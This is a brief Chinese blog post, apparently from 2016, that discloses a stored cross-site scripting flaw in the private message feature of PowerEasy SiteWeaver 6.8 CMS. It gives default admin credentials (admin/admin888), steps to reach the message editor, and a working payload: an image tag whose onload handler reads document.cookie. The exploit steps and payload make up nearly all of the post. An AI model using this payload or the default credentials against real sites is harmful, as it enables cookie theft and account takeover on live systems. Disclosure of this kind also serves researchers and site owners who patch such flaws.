动易CMS漏洞收集

 

动易SiteWeaver6.8短消息0day跨站漏洞

user用户登陆,默认账号密码 admin/admin888

短消息代码模式下编辑,预览

<img src="../Skin/blue/powerease_logo.gif" onload="resizepic(this);function resizepic(){alert(document.cookie)};">

posted @ 2016-08-01 11:09  Bypass  阅读(8070)  评论(0编辑  收藏  举报